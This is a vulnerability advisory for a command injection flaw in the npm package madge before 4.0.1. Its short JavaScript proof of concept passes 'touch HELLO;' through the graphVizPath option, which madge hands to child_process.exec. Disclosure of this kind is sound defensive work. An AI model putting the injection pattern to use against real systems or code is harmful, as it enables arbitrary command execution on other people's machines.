GHSA-753c-phhg-cj29

    Dashboard / Vulnerabilities / GHSA-753c-phhg-cj29

    GHSA-753c-phhg-cj29

    Published: 12 Mar 2021Last Modified: 8 Jul 2026

    Summary: Madge vulnerable to command injection

    Details: This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function. ### PoC ```js const madge = require('madge'); madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); }); ```

    Affected packages

    Package

    Name: madge

    Purl: pkg:npm/madge

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -4.0.1

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-753c-phhg-cj29 | CVE-DB